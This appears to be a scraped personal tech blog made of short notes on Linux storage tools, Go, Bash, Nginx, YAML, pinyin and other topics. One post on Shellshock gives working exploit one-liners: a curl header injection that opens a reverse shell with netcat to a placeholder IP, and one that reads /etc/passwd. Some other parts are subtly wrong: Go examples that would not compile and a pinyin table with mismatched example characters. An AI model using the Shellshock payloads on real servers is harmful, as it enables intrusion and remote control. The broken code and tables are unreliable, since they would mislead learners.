[ 19.571008] sd 0:0:0:0: Attached scsi generic sg0 type 0

smartctl --all /dev/sda
Model Family: Seagate Laptop HDD
Device Model: ST320LT012-9WS14C
Serial Number: S0V3R9LL
LU WWN Device Id: 5 000c50 05be4653c
Firmware Version: 0001YAM1
User Capacity: 320,072,933,376 bytes [320 GB]
Sector Sizes: 512 bytes logical, 4096 bytes physical
Rotation Rate: 5400 rpm
Form Factor: 2.5 inches
Device is: In smartctl database 7.3/5319
ATA Version is: ATA8-ACS T13/1699-D revision 4
SATA Version is: SATA 2.6, 3.0 Gb/s (current: 3.0 Gb/s)
Local Time is: Sat Nov 19 20:52:01 2022 PKT
SMART support is: Available - device has SMART capability.
SMART support is: Enabled
...

MegaCLI

megacli -LDInfo -Lall -aALL
Adapter 0 -- Virtual Drive Information:
Virtual Drive: 0 (Target Id: 0)
Name : SEAGATE
RAID Level : Primary-1, Secondary-0, RAID Level Qualifier-0
Size : 320 GB
Sector Size : 512
Mirror Data : 320 GB
State : Optimal
...

lsscsi

lsscsi
[0:0:0:0] disk ATA ST320LT012-9WS14 YAM1 /dev/sda

Vendor-Specific Tools

omreport storage vdisk
List of Virtual Disks in the System

Controller SEAGATE Laptop HDD
ID : 0
Status : Ok
Name : SEAGATE
State : Ready
Hot Spare Policy violated : Not Assigned
Encrypted : No
Layout : RAID-0
Size : 320.00 GB (343597383680 bytes)
T10 Protection Information Status : No
Associated Fluid Cache State : Not Applicable
Device Name : /dev/sda
Bus Protocol : ATA
Media : HDD
Read Policy : Adaptive Read Ahead
Write Policy : Write Back
Cache Policy : Not Applicable
Stripe Element Size : 128 KB
Disk Cache Policy : Enabled

Test Whether a Server Is Vulnerable to Shellshock Bug

Mon, 28 Nov 2022 15:35:30 +0800

Test Whether a Server Is Vulnerable to Shellshock Bug

The Shellshock Bug

env x=' () {:;};'

Exploiting Shellshock Bug

A substituted command is executed since the feature ignores the command specified by the user, and instead, it runs that which the ForceCommand defines.
The ignored commands from the user are put in the “SSH_ORIGINAL_COMMAND” environment variable. If the user’s default shell is Bash, the Bash shell will parse the value of the “SSH_ORIGINAL_COMMAND” environment variable on start-up and run the embedded commands.

Examples of Shellshock Exploit Commands

## 1
curl -H "X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.y.y 443" 192.168.x.y/CGI-bin/hello.cgi

## 2
curl --insecure 192.168.x.x -H "User-Agent: () { :; }; /bin/cat /etc/passwd"

use nmap script to test for the vulnerability

nmap -sV -p- --script http-shellshock 192.168.x.x
nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x

Containers from scratch

Thu, 24 Nov 2022 13:10:14 +0800

Containers from scratch

Container file systems

$ wget https://github.com/ericchiang/containers-from-scratch/releases/download/v0.1.0/rootfs.tar.gz
$ sha256sum rootfs.tar.gz
c79bfb46b9cf842055761a49161831aee8f4e667ad9e84ab57ab324a49bc828c rootfs.tar.gz
$ # tar needs sudo to create /dev files and setup file ownership
$ sudo tar -zxf rootfs.tar.gz
$ ls rootfs
bin dev home lib64 mnt proc run srv tmp var
boot etc lib media opt root sbin sys usr
$ ls -al rootfs/bin/ls
-rwxr-xr-x. 1 root root 118280 Mar 14 2015 rootfs/bin/ls

chroot

it allows us to restrict a process’ view of the file system. In this case, we’ll restrict our process to the “rootfs” directory then exec a shell.

How to Delete Files With Names That Contain Non-printable Characters

Mon, 14 Nov 2022 13:55:17 +0800

How to Delete Files With Names That Contain Non-printable Characters

ls -l
total 13
-rw-r--r-- 1 ZZ 197121 4 Nov 6 07:08 ' '
-rw-r--r-- 1 ZZ 197121 162 Apr 16 2022 '~$iscord.docx'
-rw-r--r-- 1 ZZ 197121 6 Nov 6 06:03 ''$'\302\226'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:01 ''$'\302\226''Λ---ω'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:13 '␴?␴??␴??::␴?␴'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:12 ␴__␴
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:14 ␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:16 ␣␣␣␣␣␣␣␣
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:26 ␣ μ μ Ω Ω
-rw-r--r-- 1 ZZ 197121 14 Nov 6 06:23 '␣ μ ␴'$'\342\220\264''Ξ'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27

Using ANSI-C Quoting

# Using ANSI-C Quoting
rm ''$'\302\226'
# We can also use the $ special character before enclosing the filename in single quotes
rm $'\356\200\215'

# pass an item's name to rm without using the ANSI-C quoting
rm '\026\033'
rm: cannot remove '\026\033': No such file or directory

Using Inode Numbers

ls -li
total 11
...
6517085 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264'
7826050 -rw-r--r-- 1 ZZ 197121 3 Nov 9 04:23 ''$'\356\200\215\356\200\215\356\200\215'
4685554 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27

we can delete the desired file by passing its inode number to the -inum switch of the find command

/etc/shadow and Creating yescrypt, MD5, SHA-256, and SHA-512 Password Hashes

Mon, 14 Nov 2022 12:55:39 +0800

/etc/shadow and Creating yescrypt, MD5, SHA-256, and SHA-512 Password Hashes

chage and Password Aging

chage --list root
Last password change : Oct 01, 2022
Password expires : never
Password inactive : never
Account expires : never
Minimum number of days between password change : 0
Maximum number of days between password change : 99999
Number of days of warning before password expires : 7

Consequently, we can change any field via its associated flag:

How to Use which on an Aliased Command

Thu, 10 Nov 2022 16:24:30 +0800

How to Use which on an Aliased Command

type

type grep
grep is an alias for grep --color=auto


# Bash's type
type -P grep
/usr/bin/grep

# Zsh's type
type -p grep
grep is /usr/bin/grep

GNU which

which -a which
which: shell built-in command
/usr/bin/which


alias top10
top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10'

alias | /usr/bin/which -i top10
top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10'
 /usr/bin/uniq
 /usr/bin/sort
 /usr/bin/head

Convert Command Output to an Image

Thu, 10 Nov 2022 16:13:04 +0800

Convert Command Output to an Image

---
- name: Capture command output and convert to image
 hosts: all

 tasks:
 - name: Display content of /etc/redhat-release
 shell: cat /etc/redhat-release
 register: redhat_release_result

 - name: hostname
 shell: hostname
 register: hostname_result

 # You can use ImageMagick to convert text to an image
 - name: Convert command output as image
 shell: echo -e "{{ hostname_result.stdout }}\n{{ redhat_release_result.stdout }}" | convert label:@- {{ hostname_result.stdout }}.png
 delegate_to: localhost

Use Go Fuzzing to Write More Complete Unit Tests

Thu, 03 Nov 2022 16:57:29 +0800

Use Go Fuzzing to Write More Complete Unit Tests

func Pow(base uint, exponent uint) uint {
 if exponent == 0 {
 return 1
 }

 return base * Pow(base, exponent-1)
}

func FuzzPow(f *testing.F) {
 f.Fuzz(func(t *testing.T, x, y uint) {
 assert := assert.New(t)

 assert.Equal(Pow(x, 0), uint(1))
 assert.Equal(Pow(x, 1), x)
 assert.Equal(Pow(x, 2), x*x)

 if x > 0 && y > 0 {
 assert.Equal(Pow(x, y)/x, Pow(x, y-1))
 }
 })
}

go test -fuzz=Fuzz -fuzztime 20s

When a fuzz test fails, Go records the input in testcase/
You will find that when x=6 and y=30, the assert fails, i.e., pow(6, 30)/6 is not equal to pow(6, 29). That seems odd, but after testing you will see it is because pow(6, 30) overflows.
The max.MaxUint in Go is about 18 * 10^¹⁸, while 6^²⁹ is about 7 * 10^¹⁸. If you multiply 6^²⁹ by 6, it overflows and yields 8 * 10^¹⁸. It is like running two laps and ending up near the starting point.

var ErrOverflow = fmt.Errorf("overflow")

func Pow(base uint, exponent uint) (uint, error) {
 if exponent == 0 {
 return 1
 }

 prevResult, err := Pow(base, exponent-1)
 if math.MaxUint/base < prevResult {
 return 0, ErrOverflow
 }

 return base * prevResult, nil
}

func FuzzPow(f *testing.F) {
 f.Fuzz(func(t *testing.T, x, y uint) {
 assert := assert.New(t)
 if result, err := Pow(x, 1); err != ErrOverflow {
 assert.Equal(result, x)
 }

 if result, err := Pow(x, y); x > 0 && y > 0 && err != ErrOverflow {
 resultDivX, _ := Pow(x, y-1)
 assert.Equal(result/x, resultDivX)
 }
 })
}

Shell Script Best Practices

Thu, 03 Nov 2022 16:51:11 +0800

Shell Script Best Practices

Things

Just make the first line be #!/usr/bin/env bash.
Use the .sh (or .bash) extension for your file.
Use set -o errexit at the start of your script.
Prefer to use set -o nounset.
1. use "${VARNAME-}" instead of "$VARNAME"
Use set -o pipefail.
Use set -o xtrace, with a check on $TRACE env variable.
1. if [[ "${TRACE-0}" == "1" ]]; then set -o xtrace; fi
2. People can now enable debug mode, by running your script as TRACE=1 ./script.sh instead of ./script.sh.
Use [[ ]] for conditions in if / while statements, instead of [ ] or test.
Always quote variable accesses with double-quotes.
Use local variables in functions.
When printing error messages, please redirect to stderr.
1. Use echo 'Something unexpected happened' >&2 for this.
Use long options, where possible (like --silent instead of -s).
If appropriate, change to the script’s directory close to the start of the script.
1. Use cd “$(dirname “$0”)”, which works in most cases.
Use shellcheck. Heed its warnings.

Template

#!/usr/bin/env bash

set -o errexit
set -o nounset
set -o pipefail
if [[ "${TRACE-0}" == "1" ]]; then
 set -o xtrace
fi

if [[ "${1-}" =~ ^-*h(elp)?$ ]]; then
 echo 'Usage: ./script.sh arg-one arg-two

This is an awesome bash script to make your life better.

'
 exit
fi

cd "$(dirname "$0")"

main() {
 echo do awesome stuff
}

main "$@"

The Art of Command Line

Wed, 02 Nov 2022 15:04:37 +0800

The Art of Command Line

一張圖學會【拼音輸入法】

Tue, 25 Oct 2022 11:57:51 +0800

一張圖學會【拼音輸入法】

聲母（Initials）

聲母	拼音	例字
ㄅ	b	爸 ba、別 bie、奔 ben
ㄆ	p	撇 pie、平 ping、鵬 peng
ㄇ	m	媽 ma、莫 mo、某 mou
ㄈ	f	發 fa、飯 fan、風 feng
ㄉ	d	的 d、但 dan、段 duan
ㄊ	t	他 ta、貼 tie、團 tuan
ㄋ	n	你 ni、農 nong、暖 nuan
ㄌ	l	李 li、亂 luan、亮 liang
ㄍ	g	跟 gen、怪 guai、灌 guan
ㄎ	k	快 kuai、考 kao、狂 kuang
ㄏ	h	哈 ha、漢 han、橫 heng
ㄐ	j	叫 jiao、雞 ji、京 jing
ㄑ	q	七 qi、琴 qin、巧 qiao
ㄒ	x	西 xi、寫 xie、小 xiao
ㄓ	zh	知 zhi、戰 zhan、正 zheng
ㄔ	ch	吃 chi、船 chuan、重 chong
ㄕ	sh	是 shi、山 shan、刷 shuan
ㄖ	r	日 ri、讓 rang、人 ren
ㄗ	z	字 zi、讚 zan、昨 zuo
ㄘ	c	次 ci、菜 cai、餐 can
ㄙ	s	三 san、四 si、算 suan

介音 / 特殊聲母

類型	拼音	例字
y	yi / i	以 yi、依 yi、修 xiu
w	wu / u	無 wu、溫 wen、船 chuan
v	yu / ü	律 lü、雨 yu、院 yuan

單韻母（Finals）

韻母	拼音	例字
ㄚ	a	沙 sha、撒 sa、奧 ao
ㄛ	o	哦 o、偶 ou、歐 ou
ㄜ	e	餓 e、樂 le、設 she
ㄝ	ê / ye	也 ye、學 xue、切 qie
ㄞ	ai	愛 ai、篩 shai、崖 yai
ㄟ	ei	雷 lei、最 zui、脆 cui
ㄠ	ao	凹 ao、老 lao、笑 xiao
ㄡ	ou	歐 ou、樓 lou、手 shou
ㄢ	an	安 an、蘭 lan、算 suan
ㄣ	en	恩 en、林 lin、冷 leng
ㄤ	ang	昂 ang、浪 lang、讓 rang
ㄥ	eng	成 cheng、冷 leng、令 ling
ㄦ	er	二 er、兒 er、而 er

複韻母 / 組合韻

拼音	例字
ye	也 ye、結 jie、血 xie
iu	六 liu、有 you、謬 miu
in	音 yin、新 xin、林 lin
ing	英 ying、靈 ling、醒 xing
uan	元 yuan、卷 juan、團 tuan
ue	略 lue、學 xue
yun	雲 yun、巡 xun、群 qun
ong	用 yong、兇 xiong、同 tong
ui	鬼 gui、為 wei、虧 kui
un	文 wen、混 hun、準 zhun
ua	華 hua、抓 zhua、蛙 wa
uai	壞 huai、快 kuai、踹 chuai

Printing ASCII Art in the Shell

Fri, 21 Oct 2022 17:30:41 +0800

Printing ASCII Art in the Shell

sudo apt install sysvbanner

$ banner hello

 # # ###### # # ####
 # # # # # # #
 ###### ##### # # # #
 # # # # # # #
 # # # # # # #
 # # ###### ###### ###### ####

FIGlet: Frank, Ian, and Glenn’s Letters

sudo apt install figlet

$ figlet hello
 _ _ _
| |__ ___| | | ___
| '_ \ / _ \ | |/ _ \
| | | | __/ | | (_) |
|_| |_|\___|_|_|\___/

-f option and specify a font name for the output
-l, -c, and -r options to align the text to the left, center, or right,

TOIlet: FIGlet With More Options

sudo apt install toilet

How to Make Output Overwrite the Same Line in a Terminal

Fri, 21 Oct 2022 17:29:10 +0800

How to Make Output Overwrite the Same Line in a Terminal

Introduction to the Problem

$ cat print_status.sh
!/bin/bash
echo "[INFO] Processing file: readme.txt"
sleep 2 To simulate the file processing

echo "[INFO] Processing file: veryPowerfulService.service"
sleep 2

echo "[INFO] Processing file: log.txt"
echo "DONE"


$ ./print_status.sh
[INFO] Processing file: readme.txt
[INFO] Processing file: veryPowerfulService.service
[INFO] Processing file: log.txt
DONE

The “Magic Code”: `\033[0K\r`

-n option asks the echo command to stop outputting the trailing newline character
-e option allows the echo command to interpret backslash escapes such as \n (newline) and \r (carriage return)
\033 - It’s the escape sequence. In other words, it’s ESC.
\033[ - Then this becomes “ESC [”, which is the control sequence introducer (CSI).
\033[0k - So it’s “CSI 0 K”. Further, “CSI 0 K” erases the text from the cursor to the end of the line.
\r - This is the carriage return. It brings the cursor to the beginning of the line.

$ cat print_status.sh
#!/bin/bash
echo -ne "[INFO] Processing file: readme.txt\033[0K\r"
sleep 2

echo -ne "[INFO] Processing file: veryPowerfulService.service\033[0K\r"
sleep 2

echo -e "[INFO] Processing file: log.txt\033[0K\r"
echo "DONE"

!/bin/bash
printf "[INFO] Processing file: readme.txt\033[0K\r"
sleep 2

printf "[INFO] Processing file: veryPowerfulService.service\033[0K\r"
sleep 2

printf "[INFO] Processing file: log.txt\033[0K\r\n"
echo "DONE"

Elasticsearch Study Notes

Thu, 06 Oct 2022 11:30:59 +0800

Elasticsearch Study Notes

Install the Chinese analyzer plugin

docker exec -it elasticsearch bash
$ elasticsearch-plugin install https://github.com/medcl/elasticsearch-analysis-ik/releases/download/v8.4.1/elasticsearch-analysis-ik-8.4.1.zip

Dev Tools
- The content field is text. Use ik_max_word for indexing and ik_smart for searching. The former generates as many tokens as possible, while the latter generates coarser-grained tokens.

PUT /words
{
 "mappings": {
 "properties": {
 "content": {
 "type": "text",
 "analyzer": "ik_max_word",
 "search_analyzer": "ik_smart"
 },
 "age": {
 "type": "integer",
 "index": false
 }
 }
 }
}

{
 "acknowledged": true,
 "shards_acknowledged": true,
 "index": "words"
}

Pokemon Legends: Arceus - Two Playthroughs Completed

Mon, 19 Sep 2022 11:30:08 +0800

Pokemon Legends: Arceus - Two Playthroughs Completed

Avoiding the Top 10 NGINX Configuration Mistakes - NGINX

Fri, 16 Sep 2022 15:22:23 +0800

Avoiding the Top 10 NGINX Configuration Mistakes - NGINX

1) Not enough file descriptors (FDs) per worker

What’s wrong

worker_connections limits how many concurrent connections a single worker can hold (default 512).
But each worker is also limited by the OS per-process file descriptor limit (often 1024 by default).
Common mistake: increasing worker_connections but not raising the FD limit, causing early exhaustion.

Fix

Set worker_rlimit_nofile in the main context to at least 2× worker_connections (rule of thumb).
Also validate the system-wide FD cap (fs.file-max) so that: worker_rlimit_nofile * worker_processes is well below fs.file-max.

# main context
worker_connections 1024; # inside events {}
worker_rlimit_nofile 2048; # main context

2) The `error_log off` directive (it does not disable error logging)

What’s wrong

Unlike access_log, error_log does not accept an off parameter.
error_log off; creates a file literally named off (often under /etc/nginx/).

Fix (generally not recommended)

If you must suppress error logging due to storage constraints, send it to /dev/null and restrict severity:

# main context
error_log /dev/null emerg;

Note

This only applies after NGINX reads and validates config; startup/reload may still log to the default location unless you start NGINX with -e <error_log_location>.

3) Not enabling keepalive connections to upstream servers

What’s wrong

Default behavior: NGINX opens a new upstream connection for each request.
At high load this can consume resources and can exhaust ephemeral source ports due to TIME-WAIT, preventing new upstream connections.

Fix

(A) Add keepalive to each upstream {}

Go string format

Thu, 08 Sep 2022 11:32:00 +0800

The verb at the end defines the type and the interpretation of its corresponding argument.

d - decimal integer
o - octal integer
O - octal integer with 0o prefix
b - binary integer
x - hexadecimal integer lowercase
X - hexadecimal integer uppercase
f - decimal floating point, lowercase
F - decimal floating point, uppercase
e - scientific notation (mantissa/exponent), lowercase
E - scientific notation (mantissa/exponent), uppercase
g - the shortest representation of %e or %f
G - the shortest representation of %E or %F
c - a character represented by the corresponding Unicode code point
q - a quoted character
U - Unicode escape sequence
t - the word true or false
s - a string
v - default format
#v - Go-syntax representation of the value
T - a Go-syntax representation of the type of the value
p - pointer address
% - a double %% prints a single %

Go string format indexing

package main

import (
 "fmt"
)

func main() {

 n1 := 2
 n2 := 3
 n3 := 4

 res := fmt.Sprintf("There are %d oranges %d apples %d plums", n1, n2, n3)
 fmt.Println(res) // There are 2 oranges 3 apples 4 plums

 res2 := fmt.Sprintf("There are %[2]d oranges %d apples %[1]d plums", n1, n2, n3)
 fmt.Println(res2) // There are 3 oranges 4 apples 2 plums
}

Go string format precision

package main

import (
 "fmt"
)

func main() {

 fmt.Printf("%0.f\n", 16.540) // 17
 fmt.Printf("%0.2f\n", 16.540) // 16.54
 fmt.Printf("%0.3f\n", 16.540) // 16.540
 fmt.Printf("%0.5f\n", 16.540) // 16.54000
}

Go string format flags

package main

import (
 "fmt"
)

func main() {

 fmt.Printf("%+d\n", 1691) // +1691

 fmt.Printf("%#x\n", 1691) // 0x69b
 fmt.Printf("%#X\n", 1691) // 0X69B
 fmt.Printf("%#b\n", 1691) // 0b11010011011

 fmt.Printf("%10d\n", 1691) // 1691
 fmt.Printf("%-10d\n", 1691) // 1691
 fmt.Printf("%010d\n", 1691) // 0000001691
}

Go string format width

package main

import (
 "fmt"
)

func main() {

 w := "falcon"
 n := 122
 h := 455.67

 fmt.Printf("%s\n", w) // falcon
 fmt.Printf("%10s\n", w) // falcon

 fmt.Printf("%d\n", n). // 122
 fmt.Printf("%7d\n", n) // 122
 fmt.Printf("%07d\n", n) // 0000122

 fmt.Printf("%10f\n", h) // 455.670000
 fmt.Printf("%11f\n", h) // 455.670000
 fmt.Printf("%12f\n", h) // 455.670000
}

LVM - lvg and lvol

Mon, 05 Sep 2022 15:32:05 +0800

LVM - lvg and lvol

volume group

- name: 在 /dev/sda1 跟 /dev/sdb1 之上建立 volume group，其 extend size 設置為 32MB
 community.general.lvg:
 vg: vg.services
 pvs: /dev/sda1,/dev/sdb1
 pesize: 32

local volume

- name: 建立一個大小為 512m 的 local volume
 community.general.lvol:
 vg: firefly
 lv: test
 size: 512

Example

---
- name: Create LVM for DRBD
 hosts: all
 become: yes

 vars:
 vg_name: drbdpool

 tasks:
 - name: Create a new primary partition for LVM
 community.general.parted:
 device: /dev/sdb
 number: 1
 align: optimal
 flags: [lvm]
 state: present

 - name: Create a volume group on top of /dev/sda1 with physical extent size = 32MB
 community.general.lvg:
 vg: "{{ vg_name }}"
 pvs: /dev/sdb1
 state: present

 - name: Create a logical volume
 community.general.lvol:
 vg: "{{ vg_name }}"
 lv: drbddata
 size: 100%FREE

What to Do With Long Strings in YAML?

Mon, 29 Aug 2022 15:01:40 +0800

What to Do With Long Strings in YAML?

YAML already defines this. In this case, there are four methods:

|: Newlines under it are preserved as newlines, and the last line ends with a newline.
>: Newlines under it are folded into spaces, forming a long string, and the last line ends with a newline.
|-: Newlines under it are preserved, but the last line does not end with a newline.
>-: Newlines under it are folded into spaces, and the last line does not end with a newline.

In short, > and >- improve YAML readability without adding extra newline characters. | and |- keep the string exactly as defined: if you see a newline in YAML, the string contains a newline.

Top 25 Nginx Tips and Tricks From Practical Experience

Wed, 10 Aug 2022 12:27:28 +0800

Top 25 Nginx Tips and Tricks From Practical Experience
server_tokens off;
ssl_protocols TLSv1.2 TLSv1.3;
Disable any undesirable HTTP methods

 location / {
 limit_except GET HEAD POST { deny all; }
 }

Enable sysctl based protection

net.ipv4.conf.all.rp_filter = 1
net.ipv4.tcp_syncookies = 1

Stop image hotlinking

location /images/ {
 valid_referers none blocked www.domain.com domain.com;
 if ($invalid_referer) {
 return 403;
 }
}

add_header X-Content-Type-Options nosniff;
add_header X-XSS-Protection "1; mode=block";
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

Build a Lightweight Docker Image for Your Go App? | IT Man

Mon, 25 Jul 2022 17:33:47 +0800

Build a Lightweight Docker Image for Your Go App? | IT Man

go build

# default
$ go build -o test1 main.go
$ du -sh test1
14M test1


# You can add `-ldflags "-s -w"` during compilation to reduce the binary size by stripping some link and debug info. Details:
# -a: force rebuilding all dependencies
# -s: drop symbol table info; stack traces in panic will lose file/line info
# -w: drop DWARF debug info; you cannot debug with gdb
# If you don't need the symbol table, you can just use "-s"
# Note: it is not recommended to use -w and -s together
$ go build -ldflags "-s -w" -o test2 main.go
$ du -sh test2
11M test2

upx(`brew/yum install upx`)

$ upx test2
 Ultimate Packer for eXecutables
 Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
 File size Ratio Format Name
 -------------------- ------ ----------- -----------
 11490768 -> 4063248 35.36% macho/amd64 test2
Packed 1 file.

$ upx --brute test2
$ du -sh test2
4.6M test2

UPX compression options

[Golang] Use build tags for different build configs

Mon, 18 Jul 2022 14:21:34 +0800

[Golang] Use build tags for different build configs

Go build -ldflags

package main

import (
 "fmt"
)

var flagString string

func main() {
 fmt.Println("This build with ldflag:", flagString)
}

$ go build -ldflags '-X main.flagString "test"'

$ ./main
This build with ldflag: test

Go build -tags

debug_config.go

//+build debug

package main

var TestString string = "test debug"
var TestString2 string = " and it will run every module with debug tag."

func GetConfigString() string {
 return "it is debug....."
}

//+build debug needs a blank line before and after it (unless it is on the first line).

release_config.go

//+build !debug

package main

var TestString string = "test release"
var TestString2 string = " and it will run every module as no debug tag."

func GetConfigString() string {
 return "it is release....."
}

main

package main

import (
 "fmt"
)

func main() {
 fmt.Println("This build is ", TestString, TestString2, GetConfigString())
}

$ go build -tags debug .
$ ./main
This build is test debug and it will run every module with debug tag. it is debug.....

$ go build .
$ ./main
This build is test release and it will run every module as no debug tag. it is release.....

A Concise Go embed Tutorial

Tue, 12 Jul 2022 13:57:03 +0800

A Concise Go embed Tutorial

Embedding

For a single file, you can embed it as string or []byte
For multiple files and directories, you can embed them as a new filesystem (FS)
Import the “embed” package even if it is not explicitly used
The go:embed directive is used for embedding and must be followed by the target variable name
Only string, []byte, and embed.FS are supported. Aliases and named types (e.g., type S string) are not allowed
Uses relative paths

string/[]byte

package main

import (
 _ "embed"
 "fmt"
)

//go:embed hello.txt
var s string

//go:embed hello.txt
var b []byte

func main() {
 fmt.Println(s)
 fmt.Println(b)
}

embed.FS

package main

import (
 "embed"
 "fmt"
)

//go:embed hello.txt hello2.txt
//go:embed "p/he llo.txt"
//go:embed `p/hello-2.txt`
//go:embed dir
var f embed.FS
func main() {
 data, _ := f.ReadFile("hello.txt")
 fmt.Println(string(data))
 data, _ = f.ReadFile("hello2.txt")
 fmt.Println(string(data))
 data, _ := f.ReadFile("p/he llo.txt")
 fmt.Println(string(data))
 data, _ = f.ReadFile("p/hello-2.txt")
 fmt.Println(string(data))
}

Matching patterns

go:embed can take just a directory name. All files and directories inside, except those starting with . and _, are embedded. Subdirectories are embedded recursively to form a filesystem for that directory.

Using Vim as a Diff Tool

Thu, 07 Jul 2022 17:36:22 +0800

Using Vim as a Diff Tool

command

vim -d file1.txt file2.txt or vimdiff file1.txt file2.txt

Switching Between Diff Windows: Ctrl-w + Ctrl-w
Changing Split Window Orientation
- ctrl-w + K key combination to change window orientation from vertical to horizontal.
- ctrl-w + H shortcut to switch back window orientation to a vertical split.
Jumping Between Changes
- ]c key combination to go to the next change.
- [c shortcut to jump to the previous change.
Applying Changes From the Diff Window: :diffget, :diffput
Export Diff to the HTML Web Page: :TOhtml | w ~/diff.html

OIDC(OpenID Connect) 简介

Wed, 06 Jul 2022 08:47:49 +0800

OIDC(OpenID Connect) 简介

Authentication vs. authorization

Authentication 通常是指校验是否是用户本人的这个过程，而 Authorization 则更多的是指用户是否有权限。通常我们都是先校验是否是用户本人，然后再校验用户是否有权限。也就是先开始 Authentication，再开始 Authorization。

Authentication	Authorization
Determines whether users are who they claim to be	Determines what users can and cannot access
Challenges the user to validate credentials (for example, through passwords, answers to security questions, or facial recognition)	Verifies whether access is allowed through policies and rules
Usually done before authorization	Usually done after successful authentication
Generally, transmits info through an ID Token	Generally, transmits info through an Access Token
Generally governed by the OpenID Connect (OIDC) protocol	Generally governed by the OAuth 2.0 framework
Example: Employees in a company are required to authenticate through the network before accessing their company email	Example: After an employee successfully authenticates, the system determines what information the employees are allowed to access

OAuth 2

Client Credentials Grant

这种模式是最简单的，其实就是客户端告诉服务端自己是哪个客户端，服务器就将 access_token 下发

Bash Bitwise Operators

Mon, 04 Jul 2022 15:20:39 +0800

Bash Bitwise Operators

Bash’s Tools for Base Conversion

Bash’s arithmetic expansion allows us to write numbers in any base by prefixing the numeric digits of the base followed by the hash symbol.

$ echo $((2#1001))
9

bc allows us to convert effortlessly between bases, using the parameters ibase (for the input base) and obase (for the output base). So, let’s convert the decimal number 9 to base 2

$ echo "ibase=10;obase=2;9" | bc
1001

Simple A/B Testing with Nginx split_clients

Mon, 04 Jul 2022 14:36:23 +0800

Simple A/B Testing with Nginx split_clients

ngx_http_split_clients_module

Configure

For example, suppose we want 20% of users to be redirected to https://example.com/, 30% to https://example.org/, and the rest to https://example.edu/.

split_clients "${remote_addr}AAA" $variant {
 20% https://example.com/;
 30% https://example.org/;
 * https://example.edu/;
}

server {
 listen 80;
 listen [::]:80;
 server_name _;

 return 302 ${variant};
}

In the example above, the visitor’s IP address plus the string AAA is hashed with MurmurHash2 into a number. If the number falls in the first 20%, $variant is https://example.com/. If it falls in the middle 30%, $variant is https://example.org/. Otherwise it is https://example.edu/.

Monitoring HTTP Requests on a Network Interface in Real Time

Thu, 23 Jun 2022 16:48:42 +0800

Monitoring HTTP Requests on a Network Interface in Real Time

tcpflow

apt/dnf install tcpflow

$ sudo tcpflow -p -c -i wlp0s20f3 port 80 | grep -oE '(GET|POST) .* HTTP/1.[01]|Host: .*'
reportfilename: ./report.xml
tcpflow: listening on wlp0s20f3
GET /alexlarsson/flatpak/ubuntu/dists/focal/InRelease HTTP/1.1

GET /mirrors.txt HTTP/1.1

-p disables promiscuous mode
-c means only print the output to the console and don’t create files
-i specifies the network interface grep receives the output of tcpflow
-o means show only the matching parts of the lines that match the pattern
-E means the pattern is an extended regular expression (ERE)

httpry

https://github.com/jbittel/httpry.git

Go pprof in Practice

Wed, 22 Jun 2022 15:29:02 +0800

package main

import (
 // omitted
 _ "net/http/pprof" // auto-register handlers to the HTTP server for profiling via HTTP
 // omitted
)

func main() {
 // omitted

 runtime.GOMAXPROCS(1) // limit CPU usage to avoid overload
 runtime.SetMutexProfileFraction(1) // enable lock contention profiling
 runtime.SetBlockProfileRate(1) // enable blocking operation profiling

 go func() {
 // start an HTTP server; pprof handlers have already been registered
 // /debug/pprof/
 if err := http.ListenAndServe(":6060", nil); err != nil {
 log.Fatal(err)
 }
 os.Exit(0)
 }()

 // omitted
}

http://localhost:6060/debug/pprof/

Type	Description	Notes
allocs	Samples of memory allocations	Can open in a browser, but readability is low
blocks	Samples of blocking operations	Can open in a browser, but readability is low
cmdline	Show program startup command/args	Can open in a browser; shows ./go-pprof-practice
goroutine	Stacks of all current goroutines	Can open in a browser, but readability is low
heap	Samples of heap memory usage	Can open in a browser, but readability is low
mutex	Samples of lock contention	Can open in a browser, but readability is low
profile	Samples of CPU usage	Opening in a browser downloads a file
threadcreate	Samples of system thread creation	Can open in a browser, but readability is low
trace	Program execution traces	Opening in a browser downloads a file; not covered here, see Go trace

Investigate high CPU usage

Parse Command Line Arguments in Bash

Tue, 07 Jun 2022 14:48:47 +0800

Parse Command Line Arguments in Bash

getopts

getopts optstring opt [arg ...]

#!/bin/bash

while getopts 'abc:h' opt; do
 case "$opt" in
 a)
 echo "Processing option 'a'"
 ;;

 b)
 echo "Processing option 'b'"
 ;;

 c)
 arg="$OPTARG"
 echo "Processing option 'c' with '${OPTARG}' argument"
 ;;

 ?|h)
 echo "Usage: $(basename $0) [-a] [-b] [-c arg]"
 exit 1
 ;;
 esac
done
shift "$(($OPTIND -1))"

optstring represents the supported options. The option expects an argument if there is a colon (:) after it. For instance, if option c expects an argument, then it would be represented as c: in the optstring
When an option has an associated argument, then getopts stores the argument as a string in the OPTARG shell variable. For instance, the argument passed to option c would be stored in the OPTARG variable.
opt contains the parsed option.

#!/bin/bash

while getopts ':abc:h' opt; do
 case "$opt" in
 a)
 echo "Processing option 'a'"
 ;;

 b)
 echo "Processing option 'b'"
 ;;

 c)
 arg="$OPTARG"
 echo "Processing option 'c' with '${OPTARG}' argument"
 ;;

 h)
 echo "Usage: $(basename $0) [-a] [-b] [-c arg]"
 exit 0
 ;;

 :)
 echo -e "option requires an argument.\nUsage: $(basename $0) [-a] [-b] [-c arg]"
 exit 1
 ;;

 ?)
